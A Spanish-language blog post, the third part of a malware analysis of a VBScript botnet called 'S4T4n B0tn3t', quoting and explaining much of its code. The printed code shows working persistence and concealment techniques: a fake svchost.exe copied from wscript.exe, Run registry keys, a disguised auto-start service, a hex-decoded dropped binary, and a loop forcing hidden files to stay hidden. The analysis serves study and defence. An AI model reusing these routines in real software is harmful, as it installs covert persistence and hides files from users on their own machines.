lunes, 11 de abril de 2016

Analizando "S4T4n B0tn3t" - Parte 3




Continuamos con el análisis.

En el trozo de código que se muestra a continuación se almacenan en varias variables los valores siguientes:

1.-  La información contenida en la variable del sistema "systemroot", que el sistema 'donde se están haciendo las pruebas es: C:/Windows, se almacena en la variable: "drv"
2.- La información contenida en la variable del sistema "systemdrive", que el sistema 'donde se están haciendo las pruebas es: C, se almacena en las variables: "tmpdir" y “rep”

Set WshShell = Wscript.CreateObject("Wscript.shell")
rep=wshshell.expandenvironmentstrings("%systemdrive%")
drv=wshshell.expandenvironmentstrings("%systemroot%")
tmpdir=shell.ExpandEnvironmentStrings("%systemdrive%")

En el trozo de código que se muestra a continuación se copia el archivo “wscript.exe” en la carpeta “security” creada anteriormente.


set loFSO = CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile ""&drv&"\system32\wscript.exe",""&rep&"\security\svchost.exe"
Así mismo, se creará en la misma carpeta el archivo: “system.vbs”, que contendrá dos líneas de código, que permitirán ejecutar el archivo: “blood.dat

 nomfichhh=tmpdir & "\security\system.vbs"
Set fso = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(nomfichhh, ForWriting , true)

f.writeline " set variable=createobject(""wscript.shell"") "
f.writeline " variable.run ""svchost.exe /e:VBScript.Encode """""&tmpdir&"\security\blood.dat"",false "
f.close

En el trozo de código que se muestra a continuación se crea una una clave en el registro de Windows, que será la que permita lanzar durante el proceso de arranque este nuestro “querido malware”. La clave de registro es:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue

Y el valor añadido será:

C:/ProgramData/rescue.vbe

WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue",""""&dema&"\rescue.vbe""", "REG_SZ"

En el trozo de código que se muestra a continuación se vuelve vuelve a almacenar en la variable: “drv”,  la información contenida en la variable del sistema "systemroot", que el sistema 'donde se están haciendo las pruebas es: C:/Windows.

Set WshShell = Wscript.CreateObject("Wscript.shell")
drv=wshshell.expandenvironmentstrings("%systemroot%")
Set oShell = WScript.CreateObject ("WScript.Shell")

Para a continuación crear dos carpetas:

1.- C:/Windows/system32/system
2.- C:/Windows/system32/system/msg

Y dormir la ejecución durante 3 segundos

oShell.run "cmd /K md %systemroot%\system32\system & md %systemroot%\system32\system\msg & EXIT",0
Set oShell = Nothing

wscript.sleep 3000

En el trozo de código que se muestra a continuación se procede a crear el archivo: “config.txt” en la ruta marcada por:

%systemroot%\system32\system\msg\

Set WshShell = Wscript.CreateObject("Wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /u /K ( @echo DisplayName=msg&@echo Description=Description&@echo ServiceType=272& echo WaitActive=0&@echo StartType=2&@echo ErrorControl=1&@echo Source=%systemdrive%\security\system.vbs&@echo ResetPeriod=0&@echo RebootMsg=&@echo Command=&@echo nActions=0&@ echo Actions=&@echo StartAtTime=OneTime) > %systemroot%\system32\system\msg\config.txt & EXIT",0
Set oShell = Nothing

Visualmente, el archivo creado es:

Archivo “Config.txt”


En el trozo de código que se muestra a continuación se procede a crear de nuevo la función: “isServiceRunning”,  que permite determinar si un servicio está o no ejecutándose

function isServiceRunning(strComputer,strServiceName)
       Dim objWMIService, strWMIQuery

       strWMIQuery = "Select * from Win32_Service Where Name = '" & strServiceName & "' and state='Running'"

       Set objWMIService = GetObject("winmgmts:" _
             & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

       if objWMIService.ExecQuery(strWMIQuery).Count > 0 then
             isServiceRunning = true
       else
             isServiceRunning = false
       end if

end function

En el trozo de código que se muestra a continuación se procede a crear el archivo: “svchost.exe” , en la ubicación: “&drv&"\system32\system\”, más concretmente: “C:\Windows\system32\system\”, para llenarlo con información relativa a línea 20 del archivo que se está analizando.

Dim fso, f, f2, ts, ts2
Dim Ligne, i
Set FSO = CreateObject("Scripting.FileSystemObject")

Set f = fso.GetFile(WScript.ScriptFullName)
Set ts = f.OpenAsTextStream(1, -2)
fso.CreateTextFile ""&drv&"\system32\system\svchost.exe"

Set f2 = fso.GetFile(""&drv&"\system32\system\svchost.exe")
Set ts2 = f2.OpenAsTextStream(2, -2)
for i=1 to 19
ts.skipline
next
do
Ligne = ts.readline
For i=2 to Len(Ligne) step 2
ts2.write chr( "&h" & mid(Ligne,i,2))
Next

loop until ts.AtEndOfStream
ts.Close
ts2.Close

En el trozo de código que se muestra a continuación se procede a comprobar si se encuentra en función el servicio “system”. En caso afirmativo, no se hace nada. Por el contrario, si no se ejecuta, se procede a arrancar el servicio “system”.

strComputer = "."
strServiceName = "system"

if isServiceRunning(strComputer,strServiceName) then

        else

set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K sc create system binPath= ""%systemroot%\System32\system\svchost.exe msg"" start= auto & net start system & sc description system "" processus g‚n‚rique de Windows .Si ce service est arrˆt‚,les services qui en d‚pendent ne pourront pas d‚marrer et votre systeme risque d'etre endommag‚. "" & EXIT",0
Set oShell = Nothing

end if

En el trozo de código que se muestra a continuación se procede a crear las siguientes claves de registro:

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\sdate\sdate
HKEY_CLASSES_ROOT\Applications\Notepad2.exe\shell\open\command\%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command\%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\Batfile\Shell\Edit\Command\"%SystemRoot%\System32\Notepad.exe
HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\"%SystemRoot%\System32\Notepad.exe

WScript.CreateObject("WScript.Shell").RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\sdate\sdate","34", "REG_SZ"

WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Applications\Notepad2.exe\shell\open\command", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Applications\notepad.exe\shell\open\command", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\Batfile\Shell\Edit\Command\", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"
WScript.CreateObject("WScript.Shell").RegWrite "HKEY_CLASSES_ROOT\VBEFile\Shell\Edit\Command\", "%SystemRoot%\System32\Notepad.exe", "REG_EXPAND_SZ"

En el trozo de código que se muestra a continuación se procede a crear se crea un archivo en la carpeta "Temp" del usuario con el que se ejecuta este código, con el nombre: sdf.vbe. Posteriormente el archivo por lotes se ejecutará.

Set shell = WScript.CreateObject("WScript.Shell")
tmpdir=shell.ExpandEnvironmentStrings("%temp%")
sdf=tmpdir & "\sdf.vbe"

set fsO = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(sdf, ForWriting , true)

f.writeline " on error resume next "
f.writeline " do "
f.writeline " WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"", 2, ""REG_DWORD"" "
f.writeline " WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"", 0, ""REG_DWORD"" "
f.writeline " loop "
f.close

set variable = createobject("wscript.shell")
variable.run ""&tmpdir&"\sdf.vbe" , 0,false


El código del archivo, creará dos claves de registro:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden

Estas modificaciones harán que aunque activemos las opciones que nos permiten ver archivos ocultos, estas se modifiquen automáticamente para que no seamos capaces de ver los archivos ocultos.

No hay comentarios:

Publicar un comentario